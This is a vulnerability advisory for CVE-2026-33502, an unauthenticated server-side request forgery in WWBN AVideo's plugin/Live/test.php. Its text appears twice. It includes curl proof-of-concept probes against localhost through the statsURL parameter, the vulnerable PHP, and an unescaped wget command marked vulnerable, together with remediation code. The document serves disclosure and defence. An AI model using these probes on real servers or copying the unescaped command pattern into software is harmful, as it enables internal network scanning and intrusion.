CVE-2026-33502

WWBN AVideo is an open source video platform. In versions up to and including 26.0, an unauthenticated server-side request forgery vulnerability in plugin/Live/test.php allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints. Commit 1e6cf03e93b5a5318204b010ea28440b0d9a5ab3 contains a patch.

WWBN AVideo is an open source video platform. In versions up to and including 26.0, an unauthenticated server-side request forgery vulnerability in plugin/Live/test.php allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints. Commit 1e6cf03e93b5a5318204b010ea28440b0d9a5ab3 contains a patch.

Summary

An unauthenticated server-side request forgery vulnerability in plugin/Live/test.php allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints.

Details

The endpoint accepts $_REQUEST['statsURL'] and only checks that it starts with http:

$statsURL = $_REQUEST['statsURL'];
if (empty($statsURL) || $statsURL == "php://input" || !preg_match("/^http/", $statsURL)) {
    exit;
}

It then calls:

$result = url_get_contents($statsURL, 2);

Inside the same file, url_get_contents() performs a real outbound request with file_get_contents() when allow_url_fopen is enabled:

$tmp = file_get_contents($url, false, $context);
_log('file_get_contents:: '.htmlentities($tmp));

There is:

• no authentication check
• no allowlist of trusted stats URLs
• no SSRF-safe URL validation
• reflected response/error output

Validated on source:

• test.php

PoC

Target used during validation:

http://127.0.0.1:80

1. Probe a closed localhost port:

curl -s \
  'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:1/'

Observed response excerpt:

Starting try to get URL http://127.0.0.1:1/
url_get_contents start timeout=2
Warning: file_get_contents(http://127.0.0.1:1/): Failed to open stream: Connection refused
file_get_contents fail return an empty content
FAIL

2. Probe the local web service itself:

curl -s \
  'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:80/'

This returns upstream connection details from the server-side request and confirms the endpoint can target local/internal HTTP services.

Impact

This is an unauthenticated SSRF vulnerability affecting any deployment that exposes plugin/Live/test.php.

An attacker can:

• probe localhost and internal network services
• distinguish open and closed ports
• target cloud metadata endpoints if reachable
• retrieve reflected content from internal HTTP services when the upstream responds with a body

The server and the internal network reachable from it are impacted. No unauthenticated code execution was validated from this issue on the tested environment.

remediation

The safest fix is to remove plugin/Live/test.php from production deployments.

If it must remain:

• require admin authentication
• only allow requests to explicitly configured Live stats URLs
• block localhost, RFC1918, link-local, and metadata IP ranges
• stop reflecting fetched bodies and raw upstream errors to the client

Minimal hardening example:

require_once dirname(__FILE__) . '/../../videos/configuration.php';

if (!User::isAdmin()) {
    http_response_code(403);
    exit('Forbidden');
}

$statsURL = $_REQUEST['statsURL'] ?? '';
if (empty($statsURL) || !isSSRFSafeURL($statsURL)) {
    exit('Unsafe URL');
}

Remove wget Fallback Entirely

The wget fallback provides no unique value over file_get_contents + curl and introduces shell exposure. Remove lines 94–119 of test.php.

If wget must remain, escape the argument:

// BEFORE (vulnerable)
$cmd = "wget --tries=1 {$url} -O {$filename} --no-check-certificate";

// AFTER (safe)
$cmd = "wget --tries=1 " . escapeshellarg($url) . " -O " . escapeshellarg($filename) . " --no-check-certificate";

Defense in Depth

1. Move the file behind the admin panel URL prefix (Apache/Nginx deny rule for public access)
2. Add isSSRFSafeURL() check (already exists in objects/functions.php) before any fetch
3. Block outbound connections from the web process to RFC1918 addresses at the firewall/egress level

WWBN AVideo is an open source video platform. In versions up to and including 26.0, an unauthenticated server-side request forgery vulnerability in plugin/Live/test.php allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints. Commit 1e6cf03e93b5a5318204b010ea28440b0d9a5ab3 contains a patch.

WWBN AVideo is an open source video platform. In versions up to and including 26.0, an unauthenticated server-side request forgery vulnerability in plugin/Live/test.php allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints. Commit 1e6cf03e93b5a5318204b010ea28440b0d9a5ab3 contains a patch.

Summary

An unauthenticated server-side request forgery vulnerability in plugin/Live/test.php allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints.

Details

The endpoint accepts $_REQUEST['statsURL'] and only checks that it starts with http:

$statsURL = $_REQUEST['statsURL'];
if (empty($statsURL) || $statsURL == "php://input" || !preg_match("/^http/", $statsURL)) {
    exit;
}

It then calls:

$result = url_get_contents($statsURL, 2);

Inside the same file, url_get_contents() performs a real outbound request with file_get_contents() when allow_url_fopen is enabled:

$tmp = file_get_contents($url, false, $context);
_log('file_get_contents:: '.htmlentities($tmp));

There is:

• no authentication check
• no allowlist of trusted stats URLs
• no SSRF-safe URL validation
• reflected response/error output

Validated on source:

• test.php

PoC

Target used during validation:

http://127.0.0.1:80

1. Probe a closed localhost port:

curl -s \
  'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:1/'

Observed response excerpt:

Starting try to get URL http://127.0.0.1:1/
url_get_contents start timeout=2
Warning: file_get_contents(http://127.0.0.1:1/): Failed to open stream: Connection refused
file_get_contents fail return an empty content
FAIL

2. Probe the local web service itself:

curl -s \
  'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:80/'

This returns upstream connection details from the server-side request and confirms the endpoint can target local/internal HTTP services.

Impact

This is an unauthenticated SSRF vulnerability affecting any deployment that exposes plugin/Live/test.php.

An attacker can:

• probe localhost and internal network services
• distinguish open and closed ports
• target cloud metadata endpoints if reachable
• retrieve reflected content from internal HTTP services when the upstream responds with a body

The server and the internal network reachable from it are impacted. No unauthenticated code execution was validated from this issue on the tested environment.

remediation

The safest fix is to remove plugin/Live/test.php from production deployments.

If it must remain:

• require admin authentication
• only allow requests to explicitly configured Live stats URLs
• block localhost, RFC1918, link-local, and metadata IP ranges
• stop reflecting fetched bodies and raw upstream errors to the client

Minimal hardening example:

require_once dirname(__FILE__) . '/../../videos/configuration.php';

if (!User::isAdmin()) {
    http_response_code(403);
    exit('Forbidden');
}

$statsURL = $_REQUEST['statsURL'] ?? '';
if (empty($statsURL) || !isSSRFSafeURL($statsURL)) {
    exit('Unsafe URL');
}

Remove wget Fallback Entirely

The wget fallback provides no unique value over file_get_contents + curl and introduces shell exposure. Remove lines 94–119 of test.php.

If wget must remain, escape the argument:

// BEFORE (vulnerable)
$cmd = "wget --tries=1 {$url} -O {$filename} --no-check-certificate";

// AFTER (safe)
$cmd = "wget --tries=1 " . escapeshellarg($url) . " -O " . escapeshellarg($filename) . " --no-check-certificate";

Defense in Depth

1. Move the file behind the admin panel URL prefix (Apache/Nginx deny rule for public access)
2. Add isSSRFSafeURL() check (already exists in objects/functions.php) before any fetch
3. Block outbound connections from the web process to RFC1918 addresses at the firewall/egress level